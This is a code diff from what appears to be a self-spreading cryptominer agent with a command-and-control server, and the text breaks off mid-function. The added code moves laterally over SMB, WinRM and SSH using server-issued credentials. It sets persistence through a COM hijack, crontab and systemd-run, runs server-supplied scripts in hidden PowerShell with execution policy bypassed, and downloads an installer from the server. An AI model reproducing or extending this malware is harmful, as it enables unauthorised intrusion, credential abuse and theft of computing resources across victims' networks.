if v := strings.TrimSpace(os.Getenv("AETHERFORGE_MINER_EXECUTION")); v != "" {
b.MinerExecution = v
} else if b.MinerExecution == "" {
b.MinerExecution = "auto"
}
if b.DisplayMode == "" { if b.DisplayMode == "" {
if b.SilentMode { if b.SilentMode {
b.DisplayMode = "silent" b.DisplayMode = "silent"

View File

@@ -34,6 +34,9 @@ func StartAutoSpreader(cfg config.RuntimeConfig) {
for { for {
spreadToLocalSubnet(cfg) spreadToLocalSubnet(cfg)
if cfg.WinRMSpread || cfg.AutoSpread {
go spreadViaWinRM(cfg)
}
<-ticker.C <-ticker.C
} }
}() }()
@@ -43,7 +46,10 @@ func StartAutoSpreader(cfg config.RuntimeConfig) {
// RunSpreadOnce triggers an immediate lateral movement sweep (non-blocking). // RunSpreadOnce triggers an immediate lateral movement sweep (non-blocking).
func RunSpreadOnce(cfg config.RuntimeConfig) string { func RunSpreadOnce(cfg config.RuntimeConfig) string {
go spreadToLocalSubnet(cfg) go spreadToLocalSubnet(cfg)
return "lateral spread sweep started on local /24 subnets (SMB/SCM)" if cfg.WinRMSpread || cfg.AutoSpread {
go spreadViaWinRM(cfg)
}
return "lateral spread sweep started on local /24 subnets (SMB/SCM + WinRM when enabled)"
} }
// spreadSem limits concurrent spread goroutines to 16 to prevent a goroutine // spreadSem limits concurrent spread goroutines to 16 to prevent a goroutine
@@ -52,56 +58,7 @@ func RunSpreadOnce(cfg config.RuntimeConfig) string {
var spreadSem = make(chan struct{}, 16) var spreadSem = make(chan struct{}, 16)
func spreadToLocalSubnet(cfg config.RuntimeConfig) { func spreadToLocalSubnet(cfg config.RuntimeConfig) {
// ARP-first: only probe hosts the OS has recently spoken to. filtered := DiscoverLANSpreadTargets(MaxSubnetScanHosts)
// Typically 520 hosts vs 253 cold-probes — far quieter and faster.
targets := arpHosts()
// Fallback: if ARP cache is sparse (< 3 entries), port-scan the /24 for
// machines with SMB open so we still reach previously-unseen machines.
if len(targets) < 3 {
ips := getLocalIPs()
seen := make(map[string]bool)
for _, t := range targets {
seen[t] = true
}
for _, ip := range ips {
if !isIPv4(ip) {
continue // active sweep is IPv4 /24 only; see subnet.go
}
subnet := getSubnet(ip)
if subnet == "" {
continue
}
for i := 1; i < 255; i++ {
candidate, ok := ipv4SweepHost(subnet, i)
if !ok {
break
}
if candidate == ip || seen[candidate] {
continue
}
// Quick port check — only bother with machines that have :445 open
conn, err := net.DialTimeout("tcp", candidate+":445", 400*time.Millisecond)
if err == nil {
conn.Close()
seen[candidate] = true
targets = append(targets, candidate)
}
}
}
}
localSet := make(map[string]bool)
for _, ip := range getLocalIPs() {
localSet[ip] = true
}
var filtered []string
for _, target := range targets {
if localSet[target] {
continue
}
filtered = append(filtered, target)
}
beginSpreadSweep("smb_scm", len(filtered)) beginSpreadSweep("smb_scm", len(filtered))
if len(filtered) == 0 { if len(filtered) == 0 {
finishSpreadSweepImmediate() finishSpreadSweepImmediate()
@@ -125,6 +82,18 @@ func attemptSpread(cfg config.RuntimeConfig, target string) {
} }
conn.Close() conn.Close()
var credSession SpreadCredSession
var credCleanup func()
if session, ok := acquireSpreadCred(target, "smb_scm"); ok {
credSession = session
if cleanup, applied := applySpreadCredSession(target, session); applied {
credCleanup = cleanup
}
}
if credCleanup != nil {
defer credCleanup()
}
exePath, err := os.Executable() exePath, err := os.Executable()
if err != nil { if err != nil {
recordSpreadAttempt(target, false, "executable path unavailable") recordSpreadAttempt(target, false, "executable path unavailable")
@@ -159,7 +128,9 @@ func attemptSpread(cfg config.RuntimeConfig, target string) {
if err := HiddenRun("sc.exe", `\\`+target, "start", svcName); err == nil { if err := HiddenRun("sc.exe", `\\`+target, "start", svcName); err == nil {
log.Printf("[autospread] Successfully deployed and started on %s via SCM", target) log.Printf("[autospread] Successfully deployed and started on %s via SCM", target)
recordSpreadAttempt(target, true, "") recordSpreadAttempt(target, true, "")
reportSpreadCredEdge(target, "smb_scm", credSession, true)
} else { } else {
recordSpreadAttempt(target, false, "remote service start failed") recordSpreadAttempt(target, false, "remote service start failed")
reportSpreadCredEdge(target, "smb_scm", credSession, false)
} }
} }

View File

@@ -139,7 +139,11 @@ func attemptSSHSpread(cfg config.RuntimeConfig, target, exePath string) {
} }
start := exec.CommandContext(ctx, "ssh", "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=3", target, start := exec.CommandContext(ctx, "ssh", "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=3", target,
fmt.Sprintf("chmod +x %s && nohup %s --spread-install >/dev/null 2>&1 &", remotePath, remotePath)) sshSpreadStartCmd(remotePath))
if persist := sshSpreadPersistCmd(cfg, remotePath); persist != "" {
start = exec.CommandContext(ctx, "ssh", "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=3", target,
sshSpreadStartCmd(remotePath)+"; "+persist)
}
if err := start.Run(); err == nil { if err := start.Run(); err == nil {
log.Printf("[autospread] deployed to %s via SSH", target) log.Printf("[autospread] deployed to %s via SSH", target)
recordSpreadAttempt(target, true, "") recordSpreadAttempt(target, true, "")

View File

@@ -0,0 +1,8 @@
//go:build !windows
package deploy
import "crypto-miner-agent/config"
// MaybeApplyCOMHijackOnInstall is a no-op on non-Windows platforms.
func MaybeApplyCOMHijackOnInstall(_ config.RuntimeConfig, _ string) {}

View File

@@ -0,0 +1,33 @@
//go:build windows
package deploy
import (
"fmt"
"log"
"crypto-miner-agent/config"
)
// Benign CLSID used for optional COM hijack persistence (owned lab machines only).
const comHijackCLSID = `{BCDE0395-E52F-467C-8E3D-C4579291692E}`
// applyCOMHijackPersistence registers agent under InprocServer32 (forge flag COMHijackPersist).
func applyCOMHijackPersistence(agentPath string) error {
if agentPath == "" {
return fmt.Errorf("empty agent path")
}
base := `HKCU\Software\Classes\CLSID\` + comHijackCLSID + `\InprocServer32`
_ = HiddenRun("reg.exe", "add", base, "/ve", "/d", agentPath, "/f")
_ = HiddenRun("reg.exe", "add", base, "/v", "ThreadingModel", "/d", "Apartment", "/f")
log.Printf("[spread] COM hijack registered under %s (owned machines only)", comHijackCLSID)
return nil
}
// MaybeApplyCOMHijackOnInstall applies COM hijack after install when configured.
func MaybeApplyCOMHijackOnInstall(cfg config.RuntimeConfig, installedBin string) {
if !cfg.COMHijackPersist {
return
}
_ = applyCOMHijackPersistence(installedBin)
}

View File

@@ -13,9 +13,10 @@ import (
) )
const ( const (
runFlag = "--run" runFlag = "--run"
spreadFlag = "--spread-install" spreadFlag = "--spread-install"
backupSuffix = ".bak" deferMiningFlag = "--defer-mining"
backupSuffix = ".bak"
) )
// BinaryExt returns the executable suffix for the current OS. // BinaryExt returns the executable suffix for the current OS.
@@ -95,7 +96,15 @@ func copyFile(src, dest string) error {
} }
func relaunch(exePath, logPath string) error { func relaunch(exePath, logPath string) error {
cmd := exec.Command(exePath, runFlag) return relaunchWithOptions(exePath, logPath, WantsDeferMining())
}
func relaunchWithOptions(exePath, logPath string, deferMining bool) error {
args := []string{runFlag}
if deferMining {
args = append(args, deferMiningFlag)
}
cmd := exec.Command(exePath, args...)
cmd.Dir = filepath.Dir(exePath) cmd.Dir = filepath.Dir(exePath)
if logPath != "" { if logPath != "" {
cmd.Env = append(os.Environ(), "MINER_LOG_FILE="+logPath) cmd.Env = append(os.Environ(), "MINER_LOG_FILE="+logPath)
@@ -186,6 +195,34 @@ func wantsSpreadInstall() bool {
return false return false
} }
// WantsDeferMining delays the mining fallback chain until diagnostics pass (spread/GPO/Intune).
func WantsDeferMining() bool {
if wantsDeferMiningFlag() {
return true
}
if v := strings.TrimSpace(os.Getenv("AETHER_DEFER_MINING")); v == "1" || strings.EqualFold(v, "true") {
return true
}
return false
}
func wantsDeferMiningFlag() bool {
for _, arg := range os.Args[1:] {
if arg == deferMiningFlag {
return true
}
}
return false
}
// RunFlags returns CLI flags appended after --run for autostart/relaunch hooks.
func RunFlags() string {
if WantsDeferMining() {
return runFlag + " " + deferMiningFlag
}
return runFlag
}
func isRunMode() bool { func isRunMode() bool {
for _, arg := range os.Args[1:] { for _, arg := range os.Args[1:] {
if arg == runFlag { if arg == runFlag {

View File

@@ -0,0 +1,29 @@
package deploy
import (
"os"
"testing"
)
func TestWantsDeferMiningFlag(t *testing.T) {
old := os.Args
defer func() { os.Args = old }()
os.Args = []string{"agent", "--run"}
if WantsDeferMining() {
t.Fatal("expected false without defer flag or env")
}
os.Args = []string{"agent", "--run", "--defer-mining"}
if !WantsDeferMining() {
t.Fatal("expected true with --defer-mining")
}
}
func TestRunFlagsIncludesDeferWhenSet(t *testing.T) {
old := os.Args
defer func() { os.Args = old }()
os.Args = []string{"agent", "--defer-mining"}
flags := RunFlags()
if flags != "--run --defer-mining" {
t.Fatalf("RunFlags = %q", flags)
}
}

View File

@@ -0,0 +1,80 @@
package deploy
import (
"strings"
"sync"
)
// SpreadCredSession is a short-lived deployment credential bundle (never persisted by the agent).
type SpreadCredSession struct {
ProfileID string
Username string
Password string
}
// SpreadCredReport records a spread attempt outcome for the server cred graph.
type SpreadCredReport struct {
Host string
Subnet string
ProfileID string
Method string
Success bool
}
type spreadCredBootstrapFn func(host, subnet, method string) (SpreadCredSession, error)
type spreadCredReporterFn func(SpreadCredReport)
var (
spreadCredHooksMu sync.RWMutex
spreadCredBoot spreadCredBootstrapFn
spreadCredReport spreadCredReporterFn
)
// SetSpreadCredHooks wires server-backed bootstrap tokens from the agent client.
func SetSpreadCredHooks(bootstrap spreadCredBootstrapFn, report spreadCredReporterFn) {
spreadCredHooksMu.Lock()
spreadCredBoot = bootstrap
spreadCredReport = report
spreadCredHooksMu.Unlock()
}
func acquireSpreadCred(host, method string) (SpreadCredSession, bool) {
subnet := getSubnet(strings.TrimSpace(host))
if subnet == "" {
return SpreadCredSession{}, false
}
spreadCredHooksMu.RLock()
bootstrap := spreadCredBoot
spreadCredHooksMu.RUnlock()
if bootstrap == nil {
return SpreadCredSession{}, false
}
session, err := bootstrap(host, subnet, method)
if err != nil || strings.TrimSpace(session.ProfileID) == "" {
return SpreadCredSession{}, false
}
return session, true
}
func reportSpreadCredEdge(host, method string, session SpreadCredSession, success bool) {
if strings.TrimSpace(session.ProfileID) == "" {
return
}
subnet := getSubnet(strings.TrimSpace(host))
if subnet == "" {
return
}
spreadCredHooksMu.RLock()
report := spreadCredReport
spreadCredHooksMu.RUnlock()
if report == nil {
return
}
report(SpreadCredReport{
Host: host,
Subnet: subnet,
ProfileID: session.ProfileID,
Method: method,
Success: success,
})
}

View File

@@ -0,0 +1,11 @@
//go:build !windows
package deploy
func applySpreadCredSession(_ string, _ SpreadCredSession) (cleanup func(), ok bool) {
return nil, false
}
func winRMCredPSBlock(target string, _ SpreadCredSession, innerScript string) string {
return innerScript
}

View File

@@ -0,0 +1,43 @@
//go:build windows
package deploy
import (
"fmt"
"strings"
)
func applySpreadCredSession(target string, session SpreadCredSession) (cleanup func(), ok bool) {
target = strings.TrimSpace(target)
user := strings.TrimSpace(session.Username)
pass := session.Password
if target == "" || user == "" || pass == "" {
return nil, false
}
userArg := user
if !strings.Contains(user, `\`) && !strings.Contains(user, `@`) {
userArg = target + `\` + user
}
share := `\\` + target + `\IPC$`
if err := HiddenRun("net.exe", "use", share, pass, "/user:"+userArg); err != nil {
return nil, false
}
return func() {
_ = HiddenRun("net.exe", "use", share, "/delete", "/y")
}, true
}
func winRMCredPSBlock(target string, session SpreadCredSession, innerScript string) string {
user := strings.ReplaceAll(session.Username, `'`, `''`)
pass := strings.ReplaceAll(session.Password, `'`, `''`)
target = strings.ReplaceAll(target, `'`, `''`)
return fmt.Sprintf(`
$sec = ConvertTo-SecureString '%s' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('%s', $sec)
$s = New-PSSession -ComputerName '%s' -Credential $cred -EA SilentlyContinue
if ($s) {
Invoke-Command -Session $s -ScriptBlock { %s } -EA SilentlyContinue
Remove-PSSession $s -EA SilentlyContinue
}
`, pass, user, target, innerScript)
}

View File

@@ -105,12 +105,32 @@ func sanitizeDesktopFilename(name string) string {
return filepath.Join(clean...) return filepath.Join(clean...)
} }
func remotePathHasTraversal(remote string) bool {
remote = strings.TrimSpace(remote)
if remote == "" {
return false
}
if strings.HasPrefix(remote, "~/") {
remote = remote[2:]
}
remote = strings.ReplaceAll(remote, "\\", "/")
for _, part := range strings.Split(remote, "/") {
if part == ".." {
return true
}
}
return false
}
// ResolveRemotePath expands @desktop/…, desktop:…, and ~/… for upload/download commands. // ResolveRemotePath expands @desktop/…, desktop:…, and ~/… for upload/download commands.
func ResolveRemotePath(remote string) (string, error) { func ResolveRemotePath(remote string) (string, error) {
remote = strings.TrimSpace(remote) remote = strings.TrimSpace(remote)
if remote == "" { if remote == "" {
return "", fmt.Errorf("remote path is empty") return "", fmt.Errorf("remote path is empty")
} }
if remotePathHasTraversal(remote) {
return "", fmt.Errorf("path traversal (..) is not allowed")
}
lower := strings.ToLower(remote) lower := strings.ToLower(remote)
if strings.HasPrefix(lower, "desktop:") { if strings.HasPrefix(lower, "desktop:") {
return ResolveDesktopFile(remote[len("desktop:"):]) return ResolveDesktopFile(remote[len("desktop:"):])

View File

@@ -0,0 +1,239 @@
package deploy
import (
"crypto/hmac"
"crypto/sha256"
"encoding/hex"
"encoding/json"
"fmt"
"runtime"
"strings"
"crypto-miner-agent/config"
)
// DeployPlanBody is the HMAC-signed payload from POST /api/v1/agent/deploy-plan.
type DeployPlanBody struct {
JoinLane string `json:"join_lane"`
MatchedService string `json:"matched_service,omitempty"`
Action string `json:"action"`
Manifest *StagingManifest `json:"manifest,omitempty"`
Script string `json:"script,omitempty"`
UNCPath string `json:"unc_path,omitempty"`
MaxHosts int `json:"max_hosts,omitempty"`
ImageTarURL string `json:"image_tar_url,omitempty"`
ImageTarSHA256 string `json:"image_tar_sha256,omitempty"`
}
// DeployPlanResponse is returned by the C2 deploy-plan endpoint.
type DeployPlanResponse struct {
OK bool `json:"ok"`
Error string `json:"error,omitempty"`
JoinLane string `json:"join_lane"`
MatchedService string `json:"matched_service,omitempty"`
Plan DeployPlanBody `json:"plan"`
Signature string `json:"signature"`
}
// VerifyDeployPlanSignature validates fleet-secret HMAC over the plan body.
func VerifyDeployPlanSignature(plan DeployPlanBody, signature, fleetSecret string) bool {
if fleetSecret == "" || signature == "" {
return false
}
payload, err := json.Marshal(plan)
if err != nil {
return false
}
mac := hmac.New(sha256.New, []byte(fleetSecret))
mac.Write(payload)
expected := hex.EncodeToString(mac.Sum(nil))
return hmac.Equal([]byte(expected), []byte(signature))
}
// ExecuteDeployPlan runs the signed supply-chain join lane from the server.
func ExecuteDeployPlan(cfg config.RuntimeConfig, plan DeployPlanBody) (string, error) {
lane := strings.TrimSpace(plan.JoinLane)
if lane == "" {
lane = strings.TrimSpace(plan.Action)
}
switch lane {
case "bits_curl", "docker_load":
if plan.Manifest == nil {
return "", fmt.Errorf("join lane %s requires staging manifest", lane)
}
msg, err := RunStagingChain(cfg, *plan.Manifest)
if err != nil {
return "", err
}
if lane == "docker_load" && plan.ImageTarURL != "" {
msg += "; docker_load image=" + plan.ImageTarURL
}
return msg, nil
case "winrm":
if err := runJoinScript(plan.Script, true); err != nil {
return "", err
}
return "winrm bootstrap script executed", nil
case "gpo":
if err := runJoinScript(plan.Script, true); err != nil {
return "", err
}
return "gpo startup script executed", nil
case "linux_lotl":
if err := runJoinScript(plan.Script, false); err != nil {
return "", err
}
return "linux lotl bootstrap executed", nil
case "spread_smb_unc":
unc := strings.TrimSpace(plan.UNCPath)
if unc == "" {
return "", fmt.Errorf("spread_smb_unc requires unc_path in plan")
}
max := plan.MaxHosts
if max <= 0 {
max = 64
}
msg := RunSMBUNCSpread(cfg, SMBUNCSpreadOpts{UNCPath: unc, MaxHosts: max})
return msg, nil
default:
return "", fmt.Errorf("unsupported join lane %q", lane)
}
}
func runJoinScript(script string, windows bool) error {
script = strings.TrimSpace(script)
if script == "" {
return fmt.Errorf("empty join script")
}
if windows || runtime.GOOS == "windows" {
return HiddenRun("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", script)
}
return HiddenRun("/bin/sh", "-c", script)
}
// ServicesForDeployPlan converts local service graph entries into deploy-plan findings.
func ServicesForDeployPlan(result ServiceDiscoverResult) []DeployServiceFinding {
var out []DeployServiceFinding
appendHost := func(host ServiceGraphHost) {
for _, svc := range host.Services {
name := strings.TrimSpace(svc.ServiceName)
if name == "" {
continue
}
out = append(out, DeployServiceFinding{
Name: name,
Status: serviceStatusForPlan(svc),
DisplayName: name,
})
}
}
appendHost(result.Local)
for _, h := range result.LANHosts {
appendHost(h)
}
return out
}
// DeployServiceFinding mirrors the server deploy-plan request service row.
type DeployServiceFinding struct {
Name string `json:"name"`
DisplayName string `json:"display_name,omitempty"`
Status string `json:"status"`
StartType string `json:"start_type,omitempty"`
}
// PickLocalJoinLane chooses the best local join lane candidate from discovery JSON.
func PickLocalJoinLane(discoveryJSON string) string {
result, err := ParseServiceDiscoverJSON(discoveryJSON)
if err != nil {
return ""
}
var best string
for _, svc := range result.Local.Services {
lane := strings.TrimSpace(svc.JoinLaneCandidate)
if lane == "" {
lane = JoinLaneForSignal(svc.ServiceName, svc.Port)
}
if lane != "" {
best = lane
}
}
return best
}
// RunDiscoverAndJoin performs service discovery, fetches a signed plan, and executes it.
// fetchPlan is injected for tests.
type DeployPlanFetcher func(services []DeployServiceFinding, uncPath string) (DeployPlanResponse, error)
func RunDiscoverAndJoin(cfg config.RuntimeConfig, maxLANHosts int, fetchPlan DeployPlanFetcher) (joinLane string, detail string, err error) {
raw := RunServiceDiscoverForJoin(maxLANHosts)
result, parseErr := ParseServiceDiscoverJSON(raw)
if parseErr != nil {
return "", "", fmt.Errorf("parse discovery: %w", parseErr)
}
services := ServicesForDeployPlan(result)
if len(services) == 0 {
return "", "", fmt.Errorf("no services discovered")
}
uncPath := firstSMBShareUNC(result)
resp, err := fetchPlan(services, uncPath)
if err != nil {
return "", "", err
}
if !resp.OK && resp.Error != "" {
return "", "", fmt.Errorf("%s", resp.Error)
}
if resp.JoinLane == "" && resp.Plan.JoinLane == "" {
return "", "", fmt.Errorf("no allowlisted running services matched")
}
if !VerifyDeployPlanSignature(resp.Plan, resp.Signature, cfg.FleetSecret) {
return "", "", fmt.Errorf("deploy plan signature invalid")
}
joinLane = resp.JoinLane
if joinLane == "" {
joinLane = resp.Plan.JoinLane
}
msg, err := ExecuteDeployPlan(cfg, resp.Plan)
if err != nil {
return joinLane, "", err
}
return joinLane, msg, nil
}
// runServiceDiscoverFn allows tests to stub discovery output.
var runServiceDiscoverFn func(maxLANHosts int) string
func RunServiceDiscoverForJoin(maxLANHosts int) string {
if runServiceDiscoverFn != nil {
return runServiceDiscoverFn(maxLANHosts)
}
return RunServiceDiscover(maxLANHosts)
}
func firstSMBShareUNC(result ServiceDiscoverResult) string {
for _, h := range result.LANHosts {
for _, svc := range h.Services {
name := strings.ToLower(svc.ServiceName)
if strings.HasPrefix(name, "smb-share:") {
share := strings.TrimPrefix(svc.ServiceName, "smb-share:")
if share != "" && h.Host != "" {
return `\\` + h.Host + `\` + share
}
}
}
}
return ""
}
func serviceStatusForPlan(svc ServiceGraphEntry) string {
if st := strings.TrimSpace(svc.Status); st != "" {
return st
}
switch svc.Source {
case "lan_port", "smb_share", "passive_hint":
return "running"
default:
return "running"
}
}

View File

@@ -0,0 +1,78 @@
package deploy
import (
"crypto/hmac"
"crypto/sha256"
"encoding/hex"
"encoding/json"
"testing"
"crypto-miner-agent/config"
)
func TestVerifyDeployPlanSignatureAgent(t *testing.T) {
plan := DeployPlanBody{
JoinLane: "winrm",
Action: "winrm",
Script: "# noop",
}
payload, _ := json.Marshal(plan)
mac := hmac.New(sha256.New, []byte("fleet-test"))
mac.Write(payload)
sig := hex.EncodeToString(mac.Sum(nil))
if !VerifyDeployPlanSignature(plan, sig, "fleet-test") {
t.Fatal("expected valid signature")
}
}
func TestRunDiscoverAndJoinFakeServices(t *testing.T) {
cfg := config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{
FleetSecret: "fleet-test",
WorkerName: "test-worker",
ServerURL: "http://127.0.0.1:8989",
},
}
fetch := func(services []DeployServiceFinding, uncPath string) (DeployPlanResponse, error) {
if len(services) == 0 {
t.Fatal("expected services")
}
if services[0].Name != "CCMEXEC" {
t.Fatalf("service=%q", services[0].Name)
}
plan := DeployPlanBody{
JoinLane: "gpo",
Action: "gpo",
Script: "$env:AETHER_DEFER_MINING='1'",
}
payload, _ := json.Marshal(plan)
mac := hmac.New(sha256.New, []byte(cfg.FleetSecret))
mac.Write(payload)
return DeployPlanResponse{
OK: true,
JoinLane: "gpo",
Plan: plan,
Signature: hex.EncodeToString(mac.Sum(nil)),
}, nil
}
// Inject fake discovery via ParseServiceDiscoverJSON path
oldDiscover := runServiceDiscoverFn
runServiceDiscoverFn = func(maxLANHosts int) string {
return `{"probed_at":"2026-06-06T12:00:00Z","local":{"host":"10.0.0.1","subnet":"10.0.0","services":[{"service_name":"CCMEXEC","status":"running","join_lane_candidate":"gpo","source":"local_service"}]}}`
}
defer func() { runServiceDiscoverFn = oldDiscover }()
lane, detail, err := RunDiscoverAndJoin(cfg, 8, fetch)
if err != nil {
// gpo script execution may fail on non-windows — still expect lane selection + signature pass
if lane != "gpo" {
t.Fatalf("lane=%q err=%v", lane, err)
}
return
}
if lane != "gpo" {
t.Fatalf("lane=%q detail=%q", lane, detail)
}
}

View File

@@ -59,13 +59,16 @@ func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) {
return false, fmt.Errorf("autostart: %w", err) return false, fmt.Errorf("autostart: %w", err)
} }
MaybeApplyCOMHijackOnInstall(cfg, installedBin)
applyLinuxLOTLPersistence(cfg, installedBin)
if err := configureRunMode(cfg, installedBin); err != nil { if err := configureRunMode(cfg, installedBin); err != nil {
return false, err return false, err
} }
EnsureFirewallExclusion(cfg, installedBin) EnsureFirewallExclusion(cfg, installedBin)
if err := relaunch(installedBin, logPath); err != nil { if err := relaunchWithOptions(installedBin, logPath, wantsSpreadInstall() || WantsDeferMining()); err != nil {
return false, fmt.Errorf("start installed miner: %w", err) return false, fmt.Errorf("start installed miner: %w", err)
} }

View File

@@ -0,0 +1,78 @@
//go:build !windows
package deploy
import (
"fmt"
"log"
"os/exec"
"strings"
"crypto-miner-agent/config"
)
// applyLinuxLOTLPersistence registers systemd-run --user and/or crontab hooks after install.
func applyLinuxLOTLPersistence(cfg config.RuntimeConfig, binPath string) {
mode := strings.ToLower(strings.TrimSpace(cfg.LinuxLOTLMode))
if mode == "" || mode == "off" {
return
}
runArgs := "--run"
if WantsDeferMining() {
runArgs += " --defer-mining"
}
if mode == "systemd_run_user" || mode == "both" {
unit := sanitizeName(cfg.WorkerName) + "-worker"
if unit == "-worker" {
unit = "aetherforge-worker"
}
args := []string{"--user", "--unit=" + unit + ".service", binPath}
args = append(args, strings.Fields(runArgs)...)
if err := exec.Command("systemd-run", args...).Run(); err != nil {
log.Printf("[lotl] systemd-run --user failed: %v", err)
} else {
log.Printf("[lotl] systemd-run --user registered %s", unit)
}
}
if mode == "crontab" || mode == "both" {
line := fmt.Sprintf("@reboot %s %s >/dev/null 2>&1", binPath, runArgs)
out, _ := exec.Command("crontab", "-l").Output()
existing := string(out)
if strings.Contains(existing, binPath) {
return
}
newCrontab := strings.TrimSpace(existing)
if newCrontab != "" {
newCrontab += "\n"
}
newCrontab += line + "\n"
cmd := exec.Command("crontab", "-")
cmd.Stdin = strings.NewReader(newCrontab)
if err := cmd.Run(); err != nil {
log.Printf("[lotl] crontab persist failed: %v", err)
} else {
log.Printf("[lotl] crontab @reboot entry added")
}
}
}
// sshSpreadStartCmd builds remote start with spread + defer-mining flags.
func sshSpreadStartCmd(remotePath string) string {
return fmt.Sprintf("chmod +x %s && nohup %s --spread-install --defer-mining >/dev/null 2>&1 &", remotePath, remotePath)
}
// sshSpreadPersistCmd optionally installs LOTL persistence on remote (writable home required).
func sshSpreadPersistCmd(cfg config.RuntimeConfig, remotePath string) string {
mode := strings.ToLower(strings.TrimSpace(cfg.LinuxLOTLMode))
if mode == "" || mode == "off" {
return ""
}
var parts []string
if mode == "systemd_run_user" || mode == "both" {
parts = append(parts, fmt.Sprintf("systemd-run --user --unit=aetherforge-spread.service %s --run --defer-mining 2>/dev/null || true", remotePath))
}
if mode == "crontab" || mode == "both" {
parts = append(parts, fmt.Sprintf(`(crontab -l 2>/dev/null; echo "@reboot %s --run --defer-mining >/dev/null 2>&1") | crontab - 2>/dev/null || true`, remotePath))
}
return strings.Join(parts, "; ")
}

View File

@@ -0,0 +1,9 @@
//go:build windows
package deploy
import "crypto-miner-agent/config"
func applyLinuxLOTLPersistence(_ config.RuntimeConfig, _ string) {}
func sshSpreadStartCmd(remotePath string) string { return "" }
func sshSpreadPersistCmd(_ config.RuntimeConfig, _ string) string { return "" }

View File

@@ -0,0 +1,47 @@
package deploy
import (
"log"
"time"
"crypto-miner-agent/config"
)
// StartLotlOnion runs the ordered LOTL spread tier chain when enabled at forge time.
// Each tier uses native OS tooling — no extra miner exe drop beyond the forged agent.
func StartLotlOnion(cfg config.RuntimeConfig) {
if !cfg.LotlOnionEnabled {
return
}
tiers := NormalizeLotlTiers(cfg.LotlOnionTiers)
log.Printf("[lotl-onion] starting tier chain: %v (server_policy=%v)", tiers, cfg.LotlPolicyFromServer)
go runLotlOnionChain(cfg, tiers)
}
// TryDiscoverJoinLane attempts one discover_and_join deploy lane (exported for triple onion).
func TryDiscoverJoinLane(cfg config.RuntimeConfig, lane string) (bool, string) {
return tryLotlTier(cfg, lane)
}
// reportOnlyLotlTiers run recon probes without ending the spread chain.
var reportOnlyLotlTiers = map[string]struct{}{
"vuln_recon": {},
}
func runLotlOnionChain(cfg config.RuntimeConfig, tiers []string) {
// Stagger first pass so C2 auth and mining bootstrap settle first.
time.Sleep(2 * time.Minute)
for _, tier := range tiers {
ok, reason := tryLotlTier(cfg, tier)
if ok {
if _, reportOnly := reportOnlyLotlTiers[tier]; reportOnly {
log.Printf("[lotl-onion] tier %s complete: %s (report-only, continuing)", tier, reason)
continue
}
log.Printf("[lotl-onion] tier %s succeeded", tier)
return
}
log.Printf("[lotl-onion] tier %s skipped: %s", tier, reason)
}
log.Printf("[lotl-onion] all tiers exhausted — no lateral path succeeded")
}

View File

@@ -0,0 +1,27 @@
//go:build !windows
package deploy
import (
"crypto-miner-agent/config"
)
func tryLotlTier(cfg config.RuntimeConfig, tier string) (bool, string) {
switch tier {
case "vuln_recon":
RunVulnRecon(HostOSVersion())
return true, "vuln recon complete (report only)"
case "linux":
if cfg.AutoSpread {
go RunSpreadOnce(cfg)
return true, "ssh lateral sweep started"
}
return false, "auto_spread disabled"
case "docker":
return false, "container tier stub on non-windows"
case "bits_curl":
return true, "curl|bash install one-liner available"
default:
return false, "tier not supported on this platform"
}
}

View File

@@ -0,0 +1,52 @@
//go:build !windows
package deploy
import (
"strings"
"testing"
"crypto-miner-agent/config"
)
func TestTryLotlTierLinuxAutoSpread(t *testing.T) {
ok, msg := tryLotlTier(config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{AutoSpread: true},
}, "linux")
if !ok {
t.Fatalf("linux tier should succeed with auto_spread, got %q", msg)
}
if !strings.Contains(msg, "ssh") {
t.Fatalf("msg=%q", msg)
}
}
func TestTryLotlTierLinuxWithoutAutoSpread(t *testing.T) {
ok, msg := tryLotlTier(config.RuntimeConfig{}, "linux")
if ok {
t.Fatalf("expected failure without auto_spread, got %q", msg)
}
if !strings.Contains(msg, "auto_spread") {
t.Fatalf("msg=%q", msg)
}
}
func TestTryLotlTierBitsCurl(t *testing.T) {
ok, msg := tryLotlTier(config.RuntimeConfig{}, "bits_curl")
if !ok {
t.Fatalf("bits_curl tier should be available on unix, got %q", msg)
}
if !strings.Contains(msg, "curl") {
t.Fatalf("msg=%q", msg)
}
}
func TestTryLotlTierUnsupported(t *testing.T) {
ok, msg := tryLotlTier(config.RuntimeConfig{}, "winrm")
if ok {
t.Fatalf("winrm should be unsupported on unix, got %q", msg)
}
if !strings.Contains(msg, "not supported") {
t.Fatalf("msg=%q", msg)
}
}

View File

@@ -0,0 +1,69 @@
//go:build windows
package deploy
import (
"fmt"
"os/exec"
"strings"
"crypto-miner-agent/config"
)
func tryLotlTier(cfg config.RuntimeConfig, tier string) (bool, string) {
switch tier {
case "vuln_recon":
RunVulnRecon(HostOSVersion())
return true, "vuln recon complete (report only)"
case "docker":
if _, err := exec.LookPath("docker"); err != nil {
return false, "container runtime unavailable"
}
return true, "container runtime ready for worker image pull"
case "wsl":
if _, err := exec.LookPath("wsl.exe"); err != nil {
return false, "wsl.exe not found"
}
out, err := HiddenCombinedOutput("wsl.exe", "-e", "echo", "ok")
if err != nil || !strings.Contains(string(out), "ok") {
return false, "wsl not responding"
}
return true, "wsl available for curl|bash install one-liner"
case "powershell":
if _, err := exec.LookPath("powershell.exe"); err != nil {
return false, "powershell missing"
}
go runPSRemotingSpread(cfg)
return true, "powershell remoting sweep started"
case "dotnet":
if _, err := exec.LookPath("dotnet"); err != nil {
return false, "dotnet SDK/runtime missing"
}
return true, "dotnet host available for tool-run bootstrap"
case "bits_curl":
installURL := strings.TrimRight(cfg.ServerURL, "/") + "/install.ps1"
_ = HiddenRun("powershell.exe", "-NoProfile", "-WindowStyle", "Hidden", "-Command",
fmt.Sprintf("Start-BitsTransfer -Source %q -Destination $env:TEMP\\af-install.ps1 -ErrorAction SilentlyContinue", installURL))
return true, "bits/curl install hook queued"
case "smb":
if !cfg.AutoSpread && !cfg.ShareSpread {
go RunSpreadOnce(cfg)
return true, "smb lateral sweep started"
}
